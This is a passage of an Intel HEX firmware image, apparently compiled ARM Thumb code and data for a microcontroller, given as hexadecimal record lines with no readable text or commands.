:10EB70000221FFF761FE03AB00973200290020005D :10EB800015F084F9039B002B05D005480B2B05D00D :10EB90001800F2F75DFD43000120184305B0F0BDF9 :10EBA00024DD0200F0B50D001E00002385B0070033 :10EBB00011002800009302220F4BF3F7BFFBAB1CA0 :10EBC0009B001800039313F0EEF9013D45603500FA :10EBD00007600700040008CD0C378360039B083BE7 :10EBE000F618B54202D1200005B0F0BD002101CDDC :10EBF000F1F726FF01C7F4E7FFFF000070B51378B7 :10EC000004000A3BD8B20F2809D90A00104811495C :10EC1000F3F706FD0025636A1860280070BD002523 :10EC200052781B021A43E36AAB420AD1238C0025B7 :10EC3000042BF2D108490648F3F7F2FC636A186026 :10EC4000EBE7206BA90009589142E6D00135EBE7CC :10EC5000E0A50200855803009A580300F0B50400AF :10EC600085B00D00100003A9A26A1E0013F019FE62 :10EC7000002809D12A000B490B48F3F7D1FC636A3D :10EC80001860002005B0F0BD0398FDF7C7FE030033 :10EC9000B343F7D0030000962A0004490248F3F773 :10ECA000BFFCECE741580300E0A5020059580300FF :10ECB000F7B51E0013780D000A3BD9B204001C48BA :10ECC0000F2904D850781B02184318F097FC0378DA :10ECD000184A019300235178019FB9421DD1417810 :10ECE0008C4691788C4518D181788C46D1786145D5 :10ECF00013D100290ED10F4A9B00D05CB04208D935 :10ED000033002A000C490D48F3F78AFC636A186047 :10ED10000020FEBDC1780029EDD001330432152B4F :10ED2000D9D12A0006490548F3F77AFCEEE7C04638 :10ED3000C3120300FD580300B1580300E0A5020010 :10ED4000CA580300F0B5137885B005000E00462BB5 :10ED500047D101A9100013F0D4FD019B834240D09C :10ED600003781A000A3A0F2A0AD802000F2331004A :10ED70002800FFF79DFF01248440200005B0F0BD6E :10ED8000B32B2ED113F0B8FD040013F0B0FD0290A8 :10ED90000378B62B25D1A73B220031002800FFF7CE :10EDA00087FF012403A98440029813F0AAFD039B66 :10EDB0000290984203D09D2102A813F0B1FD0127D3 :10EDC000029A039B9A42D8D00F2331002800FFF704 :10EDD0006FFF3B00834002981C4313F088FD0290B4 :10EDE000EEE7320003490448F3F71AFC6B6A00248B :10EDF0001860C2E7E2580300E0A50200F0B50F007A :10EE000087B0040004A938001E00019218F0FBFB33 :10EE1000019B0500002B0FD1A4239B009F4205D12D :10EE2000BF210902200014F089FDBDE0BD4B9F42C7 :10EE300000D083E0BC49F5E7019B012B00D095E0B1 :10EE40000A23FF339F4212D1010032682000FFF7EE :10EE5000D5FE0100200014F0BBFD002800D0A3E087 :10EE6000B249B348646A13F0E4F820609CE0B14B07 :10EE70009F4209D1010032682000FFF7BFFE010068 :10EE8000200014F0FBFDE8E7AB4B9F420AD10100E4 :10EE90000F2332682000FFF70BFF8E21C000C9014D :10EEA0000143BFE70378622B31D1049B032B07D0CA :10EEB000052B2CD1C3785F2B29D103796E2B26D15A :10EEC0000127002269789D4B7F425878884205D1FE :10EED000A87884469878844500D11F78013203339E :10EEE0000E2AF2D17B1C29D0326829002000FFF7BE :10EEF00085FE049902000023052903D12B79773B75 :10EF000059424B413900200014F07EFDA5E78C4B9F :10EF10009F4201D18B4985E78B4B9F4201D18B49A1 :10EF200080E78B4B9F4212D1290032682000FFF707 :10EF300009FFFF231B02B421184215D0019B2A00B0 :10EF400084497B48F3F76CFB636A18602CE0824BC2 :10EF50009F42F3D1326829002000FFF7F3FEFF2320 :10EF60001B021842EAD1BC21090299E7019B022B3E :10EF700000D024E17368794A1B780A3B0F2B4BD8E9 :10EF8000974213D101000F2332682000FFF790FE53 :10EF90007268070029000F232000FFF789FE39005F :10EFA0000200200014F0FDFC07B0F0BD6C4B9F4246 :10EFB00015D18027FF013268290007232000FFF7C1 :10EFC00077FE72680190290007232000FFF770FE8A :10EFD000019A03003900200014F0DCFCE4E700276C :10EFE000604B013302930322029928001AF04AFB76 :10EFF00000280AD1EB78002B07D15A4BBF00DF5D08 :10F0000080233F01DB011F43D5E7029B0137043317 :10F0100002930F2FE7D191E7974219D18027072359 :10F02000326829002000FFF743FEFF2301902900EA :10F0300072682000FFF712FE019BBF01074319020F :10F040003943EFE6A027EAE7C027E8E7E027E6E74D :10F0500087239B009F42F5D01E3B9F42F4D0424B3A :10F060009F42F3D0414B9F4251D0414B9F4250D0E1 :10F07000404B9F424FD04F339F424ED03E4B9F421A :10F080004DD03E4B9F4200D058E705233C4A9B00A1 :10F090009B5A29000293326807232000FFF708FEDD :10F0A000766803903378452B6CD1300013F064FC04 :10F0B000002867D1300013F01FFC0378A62B61D124 :10F0C00005A913F01EFC0599060013F004FC0228A4 :10F0D00058D1300013F00BFC072332000700290041 :10F0E0002000FFF7E5FD029B0600DB0452D51F233D :10F0F0003A0029002000FFF7B1FD0299039BF600BA :10F1000019433143F8268001F6003040C8E6002359 :10F11000BCE70123BAE7019BB8E70323B6E7042362 :10F12000B4E7C046E602000030BF0000F15703001C :10F13000E0A502000B0200000F02000002570300CE :10F140002202000072B600002302000062B6000036 :10F150009F020000BC5703009A02000089020000D1 :10F160000102000005580300C50200006E02000005 :10F170006F02000071020000C1020000C302000023 :10F180002A0403002A003F493F48F3F749FA636A1B :10F190001860D3E66B4608229B5E002B07DA3E23FD :10F1A0003A0029002000FFF759FD4008A5E77C231D :10F1B0003A0029002000FFF751FD80089DE7019BE0 :10F1C000032B00D0BAE69E239B009F4221D100274B :10F1D0000723326829002000FFF76AFD072301900A :10F1E000726829002000FFF763FD1F2302902900A9 :10F1F000B2682000FFF732FD81010198029B38437D :10F200000143DF001CE780273F01E1E780277F0102 :10F21000DEE71E4B9F42F6D01D4B9F42F6D0093BC6 :10F220009F4229D1C0270723326829002000FFF719 :10F230003FFD07230190726829002000FFF738FD89 :10F24000B2687F01137802900A3B0F2B0BD807237B :10F2500029002000FFF72CFD029B8001D900019BB3 :10F26000194339431CE68023DB001F432900072391 :10F270002000FFF7F3FCEFE7064B9F4200D05DE66E :10F28000D027D0E791570300E0A5020079020000E3 :10F2900007020000C5020000F7B50E0007001100CC :10F2A000300013F018FB0025040004281ED97C6AE6 :10F2B0001349144812F0BDFE206000242000FEBD5A :10F2C00073780002184318F099F9023601901AF089 :10F2D000D2F9022811D1019B1B78722B0DD1019B11 :10F2E0005A782B0030339A4207D10135A542E5D038 :10F2F00030780A38C3B20F2BE2D97C6A0249D8E7CA :10F300002C570300E0A502005F570300F0B54868E2 :10F3100087B00F00FDF756FB041E02DA0020F1F75C :10F32000B1FFBB68164A01939D186B1E9D410100F9 :10F3300002A818F07AF8049E2200002130001AF08A :10F3400046F93868EDB2C3070AD433002200290019 :10F3500013F061FB02A90B48F9F78EFD07B0F0BD71 :10F3600043102000042C00D904200749019F0022EB :10F370008F4200D0221AB218290014F04AF9E9E7A6 :10F380005AECFFFF20B90200A6130000F0B50C00F4 :10F3900087B0012203A96068FDF7CEFCA36813497A :10F3A000039A8B420DD10126049976424C1E01919D :10F3B0001419049900200D00002D05D113F079FBDC :10F3C0000DE014000126F4E7094F013DB84208D9C9 :10F3D00008481B18581E8341D8B213F00DFB07B024 :10F3E000F0BD277800023843A419E5E7A613000012 :10F3F000FFFF3F005AECFFFF70B546007508041C84 :10F40000291C281C0CF048FB002811D11949281C84 :10F410000CF042FB00280ED11649281C0BF00CFC06 :10F42000002808D11449154812F003FEF8F738F8FF :10F430001348F1F727FF002C10DA002E06D0FF2327 :10F44000DB05E3189C22D20593420AD8201C0CF05D :10F4500039FB012540000543280070BDE30DDB05A5 :10F46000F0E7F6F7C5FB211C0500043017F0F2F8B1 :10F47000F2E7C046FFFF7F7F615903002CA5020021 :10F480007A590300F0B50C00002585B0110020006A :10F490001E00009502232A00F2F750FF0120AC4223 :10F4A0002BD0844231D13068204226D1032303403F :10F4B000AB4203D11C4A016891421ED01B4A024054 :10F4C000062A06D0002B0DD10268194B92699A4288 :10F4D00008D103A9FAF75AF900231A000399FBF798 :10F4E00011FF0AE0032302001A40022A07D1FF227B :10F4F000D20580189843FFF77FFF05B0F0BDFDF7F8 :10F5000061FA012340001843F7E703A93068FAF7CE :10F510003DF904007068039FFDF754FA2B000200C8 :10F5200039002000DBE7C04604C60200070080FF68 :10F53000199D0000F8B51F000B4B15005B18013B2F :10F5400019780BF0A9F900260400B74204D0013065 :10F5500003210BF0A1F90600281E01D01AF08BF848 :10F560000334A4192018F8BD51590300F0B58DB02B :10F570000A9214AA177815AA127805000C000792AF :10F58000DA0743D55B1004935CD400230693139AE7 :10F59000079B12992020FFF7CDFF23680590834237 :10F5A00004D212F000FD059B2860236000222E6823 :10F5B000059BF418631E1A70049A002A47D00A3F6C :10F5C000099308930B97049F129938000BF0EAF9FE :10F5D0000B0004903033092901D90B9B5B18089A62 :10F5E000541E2370079B002B4DD0129B9F4231D39A :10F5F000A6422FD2099B1B1B032B05D1079B013C65 :10F600002370A64226D209940894DCE79A0712D107 :10F61000264A196891420ED1079A21000392139A43 :10F6200002970192129A00920A9A13F0BBF9040011 :10F6300020000DB0F0BD00232A6813700A9A2C68D0 :10F640001360F5E7049B5B4204932D239EE7302370 :10F65000023C2370139B002B05D018001AF00BF806 :10F66000201A864220D3069B002B04D0B44202D934 :10F67000069B013C23702B68059A9B181B1B0A9A5A :10F68000013B1360D4E7A642E4D2129B9F42BBD257 :10F69000E0E7C2540133139AD25C002AF9D1069BE9 :10F6A0000400002BE4D1E6E70023F4E704C60200DF :10F6B0001300144A10B50400934204D10122200023 :10F6C000F1F7E8FD10BD104A934201D10322F6E79D :10F6D0000020072CF6D10D4A1A40062A0ED09A07B0 :10F6E000F0D11A680A4CA24208D00A4CA24205D0B6 :10F6F000094CA24202D0094CA242E3D10A000720E1 :10F700001900DDE7ACAD0200B4AD0200070080FFD8 :10F7100040BB020020B902006CD10200FCC1020013 :10F7200070B51500040014F0FDFC2A000249200009 :10F7300014F0B7FC70BDC0460941020070B54379B2 :10F740000D000024032B06D9836A074C9200E41AAB :10F75000C369D358E418032114F0D6FC4470241272 :10F760000570847070BDC046FD7F0000F7B50023B2 :10F770000400617183608371E260036101330F00F3 :10F7800015004361032906D80121836949429A0083 :10F79000C06919F01CFF0023A3622362AA8BEB8BC4 :10F7A000D218002A00D10132384E2000310014F066 :10F7B00078FC2A8C3100200014F073FCE3682000F0 :10F7C000197D14F09AFCE3682000997D14F095FCF3 :10F7D000E3682000197E14F090FCE3682000997E15 :10F7E00014F08BFC042F27D1636A226A31009A1A25 :10F7F000200014F056FC3100EA89200014F051FC7E :10F800003100AA89200014F04CFC0026AB8CB342D6 :10F8100017DCFF21200014F085FC042F35D1EA8A83 :10F820002B8B0237D31801930023019A9A422CD0D4 :10F83000AA8C0021009223E00221200014F051FC48 :10F84000D9E7AA6AF300D3181A78032A03D1997862 :10F85000200014F067FC0136D8E70126A86ACA0028 :10F860008218507830420AD05088984207D15268A6 :10F87000D200606B99003A430A500133D5E7013159 :10F88000009A8A42E9DC0222F2E7F7BDE340020077 :10F89000F7B5224B0500A8331B680191022B29D82C :10F8A00047698F4226D2836A0269CF1B9C1A062FB2 :10F8B00001D90F2C1FD900941F2C01D91F230093AD :10F8C000009B0026A34203D33E00032F00D903264A :10F8D0000121280014F005FC009A73011343037002 :10F8E000009BBF1BE41A23003B43E0D1AB6A2B61B2 :10F8F000019B6B61F7BD0A4B3E009F4200D91E0081 :10F900000221280014F0EDFB702233091340234339 :10F91000F03A1343037046700094E1E7842E002010 :10F92000FF07000070B50D000121040014F078FC01 :10F930000E2D14D00F2D17D010210D2D10D0172102 :10F94000200014F0EFFB0322A36A04210333934346 :10F95000A362200014F0D8FB044B036003E01121E4 :10F96000200014F0DFFB70BD1221F9E7FCE002007B :10F97000F8B5174F05000C0016000F40002A1AD1E9 :10F98000110014F04DFC23040FD53221280014F08F :10F99000C9FB3221280014F0C5FB3221280014F0E5 :10F9A000C1FB3221280014F0BDFB3A0035212800AC :10F9B000FFF7C4FEF8BD3A004621FFF7BFFE7F23E4 :10F9C000210A99433143C9B2280014F0ABFBF1E797 :10F9D000FF7FFFFF004870470148E80110B5FCF7C2 :10F9E000F1FF80F31088014810BDC04624DD0200FD :10F9F0000300203B5E2B00D93F20052320384343E2 :10FA0000014A1068C018704768000020044B0B6062 :10FA100043684B6083680800CB6000238B607047AD :10FA200058C7020070B50500080068430130401057 :10FA300008300C0012F0B7FA0122044B8571036004 :10FA4000037944719343037170BDC04664CA0200D8 :10FA500010B50379DB0702D50148F1F7D7FD10BDDA :10FA60009359030070B50500202012F09CFA05217F :10FA70000B4B040003600800FFF7D4FF6B68EA68D3 :10FA8000A060236162602A7C2000A276AA689B188D :10FA900063616B7CE37614F0D5FF200070BDC04637 :10FAA000A8CA020070B50D000400FFF7D1FF2800BE :10FAB000FCF788FF0100092802D90448F1F7E2FBAE :10FAC000200015F02AF8024870BDC0465D440300CE :10FAD00024DD0200F7B5C3684269040093420BD1EC :10FAE000037E052B08D1C37E181E43D0200014F0DE :10FAF000A9FFA06815F01FF8012500266B1E0193D1 :10FB0000A76832002900380014F0D3FF3200030048 :10FB100001993800013614F0D9FF052EF0D10135D6 :10FB2000052DEAD100252A0000230421A068013513 :10FB300014F0CCFF052DF6D1227E637E9A421AD2B4 :10FB4000207FFFF755FF002507000426227E7B5DFE :10FB5000B21A1341012213400832534304212A00F0 :10FB6000A068013514F0B2FF052DEFD1237EA06807 :10FB700001332376FEBD9A42F8D1E36861695A1CCD :10FB8000E2608A4205D120232377A023DB00238370 :10FB9000ECE75878A67E2077002E01D0074BF6E7D9 :10FBA000FFF726FF3100050014F02CFF40422076BD :10FBB000280014F036FF01306076D7E7FF0500001B :10FBC000F0B50C000B6889B0070018000493FFF72C :10FBD0003FFF65682800FCF711FE1E4B984202D0DB :10FBE0001D48F1F713FD072F01D11C48F9E7A06864 :10FBF000FCF7E8FE0690E068FCF7E4FE0790206959 :10FC0000FCF7E0FE05906069FCF7DCFE059B060052 :10FC1000002B01DB002802DA1148F1F733FB062F35 :10FC200014D0A069FCF7CEFE0700E069FCF7CAFE1D :10FC3000059B03900093280002970196079B069A64 :10FC4000049914F0A5FF074809B0F0BD0020070093 :10FC5000EEE7C04664CA0200C0590300D35903004E :10FC6000ED59030024DD020070B504000800160001 :10FC7000FCF7A8FE05003000FCF7A4FE0600002DEE :10FC800001DB002802DA0C48F1F7FCFA200014F03E :10FC90006AFFA84204DD200014F073FFB04201DCCB :10FCA0000648F1E732002900200014F04FFF43001E :10FCB0000120184370BDC046305A0300495A030062 :10FCC000F8B50D000C682000FFF7C2FE6868FCF76D :10FCD00079FE0600A868FCF775FE0700002E01DB20 :10FCE000002802DA0F48F1F7CDFAE868FCF76AFE5F :10FCF0000500092801D90C48F5E7200014F033FF6E :10FD0000B04204DD200014F03CFFB84201DC07489B :10FD1000E9E72B003A003100200014F0D7FE044838 :10FD2000F8BDC046305A03005D440300495A030041 :10FD300024DD0200F7B50E0025490400019213F0FE :10FD400044F9019B002B03D12249200013F03DF917 :10FD50002149200013F039F90025300014F011FF7B :10FD6000A84225DD0027300014F0FDFEB8420CDD6E :10FD700039002A00300014F0E9FE184B18491A5CCB :10FD8000200013F022F90137EDE71649200013F0A7 :10FD90001CF9019B002B09D1300014F0F2FE013850 :10FDA000A84203DD1049200013F00FF90135D4E714 :10FDB0000949200013F009F9019B002B03D10B49DD :10FDC000200013F002F90A49200013F0FEF8F7BDF5 :10FDD000D65A0300DD5A0300E95A0300EB5A030028 :10FDE000DC180300DB600300E35A03008E6F03009E :10FDF000BD420300F0B50E00110000228BB01C00C4 :10FE0000009203233000F2F799FA032E00D9CBE0D9 :10FE100030000AF02DFD020A898905210800FFF74C :10FE200001FE029014F087FE18E020685F4B03404B :10FE3000062B07D0830700D073E05D4B02689A421F :10FE400000D06EE007A9F9F7A1FC079B0590049389 :10FE5000012B06D1007815F09FF8029002980BB0A4 :10FE6000F0BD00231E001A0003930499914216DD91 :10FE70000599895C0A2901D03A2908D19E4200DA05 :10FE80001E00039B0133039300230132EDE701338E :10FE90002029FAD03929F8D94648F1F7F3F9002B8F :10FEA00005D0039A013203929E4200DA1E00002719 :10FEB00003993000FFF7B6FD3D003C000290049B23 :10FEC000BB4221DD059BDB5D0A2B01D03A2B0DD116 :10FED000A64207DD210000232A00029814F0F6FD57 :10FEE0000134F5E7002401350137E8E7202B07D17D :10FEF000002321002A00029814F0E8FD0134F3E702 :10FF0000392BF1D8303BF4E7039BAB42A6DDA64288 :10FF1000A4DD210000232A00029814F0D7FD01344B :10FF2000F5E72548F1F772FB2068FCF74BFD05006B :10FF30006068FCF747FD010007002800FFF772FD2D :10FF40000290022E00D16DE7012207A9A068FCF7FC :10FF5000F3FE002D0ADB002F08DB089B002404932E :10FF60003B006B43049A0394934205D0134894E7F3 :10FF7000039B01345B190393BC4200D16EE700265A :10FF8000AE42F5D0039A079B9446049363449A5D6E :10FF9000131C092A00D909233100DBB22200029880 :10FFA00014F094FD0136EBE70548BBE7070080FF3E :10FFB00040BB0200595A0300825A03009A5A0300B8 :10FFC000B75A0300F0B585B00191050000210198F2 :10FFD0000AF028FE041E02D02148F1F753F9280048 :10FFE00014F0C1FD0600280014F0CBFD0100300024 :10FFF000FFF718FD0700280014F0B5FDA0422BDD27 :020000040001F9 :10000000002632002100280014F0A0FD0BF07AFD3C :1000100001990BF087FA0DF0EFFB0022114B0BF06A :10002000FBFD114B0022029003910AF0C1FD092350 :10003000002804D0029803990DF06CFB03003200F5 :100040003800210014F042FD2800013614F08BFD29 :10005000B042D6DC0134CEE7380005B0F0BDC04672 :10006000055A03000000E03F00002240F0B587B0D1 :1000700007000391059214F084FD0400380014F089 :1000800072FD0190039814F07CFDA04202D01A4842 :10009000F1F7F8F821000198FFF7C4FC0025029061 :1000A000019B9D4224DA0026A6421FDA3200290075 :1000B000380014F04BFD320004902900039814F02E :1000C00045FD059B002B0BD0049B1B18092B00DD65 :1000D000092332002900029814F0F8FC0136E3E706 :1000E000049B1B1ADA43D2171340F2E70135D7E716 :1000F000029807B0F0BDC046F65A0300F8B50400F8 :1001000008000D001600FCF779FB164FB84201D02D :1001100000200FE0053C042CFAD820000AF09EFBDA :10012000141403F80B003000FCF7B2FC011C28008B :10013000FFF748FFF8BD3000FCF7AAFC011CFE20C9 :1001400080050BF019F8F1E73000FCF757FBB842D7 :10015000DED1624262413100D2B22800FFF786FF51 :10016000E8E7C04664CA0200F7B50700019314200F :1001700008AB0E0015001C7811F015FF044B47600A :100180000360019B8660C56003744474FEBDC04675 :10019000E4CA020070B505000C2011F004FF05212F :1001A000044B0400456003600800FFF73BFCA060BF :1001B000200070BD0CC70200044B88600B60044B2C :1001C00008004B600023CB607047C04684DC02000F :1001D000F54F0200044B0B60037A0B714368080073 :1001E0008B600023CB60704714CC020010B5040074 :1001F0000C2011F0D8FE034B44600360022303720D :1002000010BDC04650CC020010B5043017F0A4FB5E :10021000004810BD24DD0200002803D0012808D0CA :100220000020704707224B6804489343F9D10448E3 :10023000F7E74B68DB085B001843F2E7B4AD020058 :10024000ACAD02000B6870B506000D00181D4968C2 :10025000140006F0ADFA002802D04368002B10D13C :10026000022E08D1094B022C06D16968084811F00A :10027000D9FEF7F715F9AB68012C00D143601800DF :1002800070BD022CFBD100224260F8E724DD0200A1 :1002900088A3020070B504000D000B7A164A9B007B :1002A00086B0995812F0D3FD1449200012F0CFFD0A :1002B000134B02AA02932B7A012613716B680193E8 :1002C00004930023059302A814F09EFE051E05D199 :1002D0000C49200012F0BBFD06B070BD002E03D10A :1002E0000949200012F0B3FD012229002000FCF78B :1002F0009DFA0026E7E7C0468CCC02005C5B030059 :1003000014CC02005F5B0300C8070300F0B513685C :100310001400012287B00F680D000092D908022353 :100320000600F2F70BF8022E12D10323686803408F :1003300018D101682A4AC968914213D12A689042AB :1003400006D0059305A9686814F041FE061E01D188 :1003500000253EE0381D0122316806F029FA736855 :100360004360EFE70021F0F76BFB03900398F0F791 :10037000C9FB0028ECD00021F0F762FB0500F0F784 :10038000C1FB02902800F0F7BDFB06002800F0F743 :10039000B9FB029B002B03D0002E01D0002802D015 :1003A0001048F0F76FFF381D0122029906F000FA9D :1003B0004660DBE7A368EE009E193168002907D08C :1003C000042905D0381D012206F0F2F97368436054 :1003D00001356368AB42EDD8034807B0F0BDC046B5 :1003E00055060100365B030024DD020030B5002510 :1003F00085B001A90400019514F0E9FDA84203D1DC :1004000009490A4811F01EFD636802A9083B6360B0 :100410000368029343680393042328C0022002F078 :1004200069FB05B030BDC046135B030088A3020022 :10043000F7B50C0015001B280CD000221F2807D18F :10044000081D290006F0B4F92B4A002800D12B4AD8 :100450001000FEBD03222B001340114225D1284974 :1004600022688A4221D1002BF1D1296891421ED104 :10047000009301936946200014F0A9FD01A907002B :10048000280014F0A4FD0600002F31D00028DED093 :1004900031683868FCF744FA0028D8D07168786869 :1004A000FCF73EFA0028E5D1D1E7002BCFD1154B60 :1004B0002A689A42CBD16A68636853400722934303 :1004C000C5D1019301A9200014F081FD061E01D1C0 :1004D000094ABDE7281D0022316806F069F90028A5 :1004E000B5D041687068FCF71BFA0028EAD1AEE786 :1004F000014A0028ABD1ABE7B4AD0200ACAD0200BD :10050000D4CC020098CC0200F7B50B681C4A04005A :100510000D00934203D05A681A4912F056FD1A4949 :10052000200012F094FC00230127019301A9280068 :1005300014F04DFD061E0CD11449200012F087FC6A :100540002B680F4A934203D01149200012F07FFC20 :10055000F7BD002F03D10F49200012F078FC0122D3 :1005600031682000FCF762F90B49200012F06FFCA3 :10057000012271682000FCF759F90027D6E7C04630 :1005800098CC0200325B0300540C0300FB580300BC :10059000BD420300C80703008A14030010B504001D :1005A0000C2011F000FD034B446003600023037234 :1005B00010BDC04650CC020010B504000C2011F054 :1005C000F2FC034B446003600123037210BDC0467C :1005D00050CC020010B5043000220C0006F0E8F800 :1005E000002805D12100034811F01CFDF6F758FF43 :1005F000406810BD88A3020010B5024B08C017F078 :100600008FF910BD98CC0200F8B50E00070000214C :100610007068F0F715FA0E4C0500022F00D9B46887 :100620007068FCF7E9FA002809D114F017FD0600FC :100630002800F0F767FA011E03D13000F8BD401022 :10064000F3E7331D0122180006F0B2F84460EFE72B :1006500024DD0200F0B5070089B000201E000D0067 :10066000019214F0FBFC0E4B040007609F4203D183 :100670000423027913430371019B2B430DD033688C :10068000AA00B218019905A80394049317F056F92B :10069000681C05AA03A9FFF739FE200009B0F0BDC8 :1006A000D4CC020010B50C00002A03D114F019FDBF :1006B0000A480EE0042A0DD10430002206F078F832 :1006C000002805D12100064811F0ACFCF6F7E8FE41 :1006D000406810BD14F0FBFCEAE7C04624DD0200D0 :1006E00088A3020070B504000800FCF76BF9050050 :1006F000431002D00F48F0F7C5FD0F49200002F06B :100700003FFC002807D0A02203216379D205C13322 :10071000FF339B009950012362799340A022D205B8 :10072000002D04D0A121C9000448535070BD0449D4 :10073000FAE7C046D05B0300C4D2020024DD020009 :100740000C05000070B505000800FCF73BF90B2311 :1007500003410400DB0702D40948F0F793FD2800A9 :10076000084902F00DFCFF22A40092001440A022D0 :100770006B79D205C133FF339B0003489C5070BD99 :10078000A25B0300BCD2020024DD020010B50C49BC :10079000040002F0F5FBA022D205002805D00421B8 :1007A0006379C133FF339B00D150A223DB00D058C3 :1007B0006379D8400123184012F060F910BDC0469B :1007C000BCD2020010B5040002F0A6FB0A4B98420E :1007D00005D00A4B984202D0200002F0ABFBA022C9 :1007E0006379D205C133FF339B0098580007800F0F :1007F00012F044F910BDC046BCD20200D4D20200AF :10080000032370B50B4004000800022B14D1194BD0 :100810000B40062B10D0FCF73BF90CF0EDFF00224B :10082000154B0BF0F9F90CF075FF144B05009842CD :1008300005D91348F0F726FDFCF7C4F8F5E7114990 :10084000200002F09DFB002807D0A022032163793D :10085000D205C133FF339B00995060792900F0F72E :10086000FBFF002D03D10849200002F089FB074857 :1008700070BDC046070080FF0000E03FFF0300009E :10088000AF5B030004D30200B4D2020024DD0200F7 :1008900013B50A49040002F073FB0521684661564E :1008A00009F09EF8684609F0C1F8A0230021044A27 :1008B000DB00D15012F0E2F816BDC046B4D20200FF :1008C0000070004010B50800FCF77CF8FA239B008C :1008D0005843F0F79DFF002802D00248F0F7D2FC01 :1008E000014810BD935B030024DD020010B5080031 :1008F000FCF768F8F0F78CFF002802D00248F0F708 :10090000C1FC024810BDC046935B030024DD020019 :1009100010B5040002F000FB0C4988420DD00C4BCE :1009200098420AD0200002F02BFBA022002163791C :10093000D205C133FF339B0099502000F4F79AFD94 :10094000044B002800D0044B180010BDECD202006C :10095000D4D20200B4AD0200ACAD0200A0230C2240 :100960000249DB055A5024315A50704744070000B1 :1009700010B50400FBF742FF064B984208D0064B27 :10098000984205D0054B984202D00548F0F73EFE4C :10099000200010BDD0CF020088CE0200C4CE0200DD :1009A000835B0300F0B585B005001600080003ABBB :1009B00002AA01A912F0DDFD0398304FB84209D018 :1009C000032807D0FBF7FEFFB060002804D12C48B5 :1009D000F0F758FC0123B3600198B8421FD10024FE :1009E000B368A34200DC6C1E0298B8421BD1002001 :1009F000B368834200DD2800B368002C1BDA2C1991 :100A000000D5DC17002822DA281801D50120404241 :100A1000002B2FDA0130A04221DD601C1FE0FBF724 :100A2000D1FF0400E0E7FBF7CDFF0028E4DBB3686B :100A3000DB0FC018E0E7002B03DDA542E2D22C005B :100A4000E0E7002BDED0A542DCD86C1EDAE7854259 :100A500000D22800002B0ADDA04200DA2000013B72 :100A6000706058425841C0B2346005B0F0BD002BF0 :100A7000D1D1F4E7002BEFD1F1E7C04624DD02002D :100A8000E55B0300F0B5060085B017001B2805D113 :100A90000A9A974209D0002005B0F0BD19281BD052 :100AA0001C281BD00A9A0A9717001A000B00110085 :100AB0000A9A0192BA4200D901971D000C00002346 :100AC0000093009B019A93420AD10A9BBB4221D01A :100AD0000020BB4240411BE01A26E9E71D26E7E75C :100AE0000295039401CD02CCFBF71AFF002802D037 :100AF000009B0133E4E71B2ECDD0039B30001A6826 :100B0000029B1968F0F7C6FB054BC01A43425841D7 :100B1000C0B2C1E730001A38431E9841F8E7C0461A :100B2000B4AD0200F0B51E0085B0039018680D004A :100B30001700FBF763FE7368019002930024022FF5 :100B40000ED90123B2682900FCF716F80400032F20 :100B500006D029000123F2680198FCF70DF8050082 :100B6000A54202D80848F0F78DFB039AA30002992A :100B7000D058FBF7D5FE002801D10134F0E7012061 :100B80006400204305B0F0BDFF5B030010B5040016 :100B9000080014F05FFB0300002C05D00020012C9E :100BA00006D15800204303E00248002B00DC024835 :100BB00010BDC046B4AD0200ACAD020043684B604E :100BC00083688B60C3680800CB60014B0B60704783 :100BD00048D00200F0B50E00002785B01100039048 :100BE0001D000122032330000097F1F7A7FB10201E :100BF00011F0D9F9039B0400036001234760C3602F :100C000028689E4205D1FBF7DDFEA060200005B0FC :100C1000F0BDFBF7D7FE60606868FBF7D3FEA0600D :100C2000032EF3D1A868FBF7CDFEE0600028EDD1DC :100C30000148F0F727FBC046165C030070B50D00B5 :100C40004A688B680849040012F0BFF9EA68012A73 :100C500004D10649200012F0FAF870BD04492000C2 :100C600012F0B3F9F9E7C046205C0300BD4203006F :100C70002D5C030030B5040087B00D000020042A6D :100C800025D1200014F0E6FAAB0722D1184B2A68D0 :100C90009A421ED103AA2900FFF784FE102011F00A :100CA00082F9144BE2680360039B616853435B184D :100CB0004360049B6168019353435B18059983600B :100CC0004A43C260002902DAE2689B1A836007B0D7 :100CD00030BD002301002A002068FBF74DFFE368C8 :100CE00058436368C018012340001843EFE7C0462B :100CF00044BC02000CD00200136810B51400002B95 :100D000005D1A42904D1406811F0B8FE206010BDBF :100D1000B9235B00994201D18068F5E7024B994203 :100D2000F5D1C068F0E7C046BF02000010B5024B25 :100D3000672214F025FB10BD9F5C020010B5024B2A :100D4000972214F01DFB10BD411F0100F8B50F00E4 :100D500011001A00002304008579466983714361FC :100D60000E4B14F00DFBA368002B15D1E18A00296E :100D700008D0A38A002B05D1206B13F029FD206B2E :100D800013F0A6FBA38AE28A3900200014F0A9FA26 :100D90006B1E9D416661A571F8BDC0465D1B0100DB :100DA00010B54379C26A012B03D1100015F03CFA4B :100DB00010BD0B00006B024915F060FAF8E7C04661 :100DC00050C602007FB50B7804000D004E1C002BAE :100DD0000AD0032B0BD103A9280011F04DFD039974 :100DE0000600206B13F00AFB300004B070BD012B2D :100DF00007D18E1C49780429F6D0006BFEF792FDCE :100E0000F2E7042B0BD14B788978006B0902194368 :100E100013F03DFB280011F06AFD0600E4E7052B06 :100E200015D14379042B04D02649006B13F03BFB0A :100E3000F0E788784B780002184303A916F0E3FB2B :100E40000399246BF8F766F801002000EEE71A001A :100E50000A3A0F2A09D803A9280014F016FA0399B0 :100E600006002000FFF79CFFBEE7082B0CD103A96A :100E7000280011F0F7FC039B226A9B00060099589A :100E8000206B13F010FBAFE703AB02AA01A9280007 :100E900011F05EFD05000299206BFEF7F9FC019B45 :100EA000094A9B009B582900039A20009847A36891 :100EB000002B04D0E368002B01D1029BE360039E6A :100EC00092E7C04624DD020084D00200F7B5060098 :100ED0000192FFF777FF04270500019B9D4200D197 :100EE000F7BDA91C30006C78FFF76CFF2F3CE4B213 :100EF00005003900082C01D8024B195D306B13F046 :100F000045FCEAE7335C030010B54379C26A012B64 :100F100003D1100015F099F910BD0B00006B0249C8 :100F200015F0ACF9F8E7C04660C6020010B5437989 :100F3000C26A012B03D1100015F087F910BD0B0018 :100F4000006B024915F09AF9F8E7C04640C6020066 :100F5000836870B504000D00002B09D1110005480D :100F600011F067F8A060200029000C3014F02AFC72 :100F700070BDC046E0A5020010B5024AFFF7E8FFC9 :100F800010BDC0466C5F0300F0B504000D00E162C7 :100F9000002162712B7891B0059201619F4A072B65 :100FA0003BD1059B012B06D00200836B08321B68E6 :100FB0000599406B9847AB681800089311F097FCAF :100FC00063790890032B0FD10D9040210DA811F0EB 